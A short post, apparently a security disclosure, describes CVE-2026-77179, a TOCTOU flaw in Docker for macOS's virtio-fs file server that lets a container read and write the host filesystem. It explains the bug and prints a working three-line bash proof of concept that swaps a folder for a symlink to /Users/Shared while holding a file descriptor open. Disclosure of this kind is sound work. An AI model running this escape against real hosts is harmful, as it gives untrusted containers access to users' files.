Che vulnerabilità in Docker per macOS:

We escaped Docker's hypervisor with three lines of bash. CVE-2026-77179: A container gets complete read and write access to the host filesystem.

When you mount a folder into a container, Docker's VMM uses virtio-fs, and the file server runs on the host.

Because of a TOCTOU bug, if a container opens a file, deletes it while holding its file handle open, and replaces the parent folder with a symlink, the kernel will follow the symlink to anywhere on the host.

mkdir pv && : > pv/.canary && exec 9< pv/.canary
rm pv/.canary; rmdir pv; ln -s /Users/Shared pv
echo CONFIRMED > /proc/self/fd/9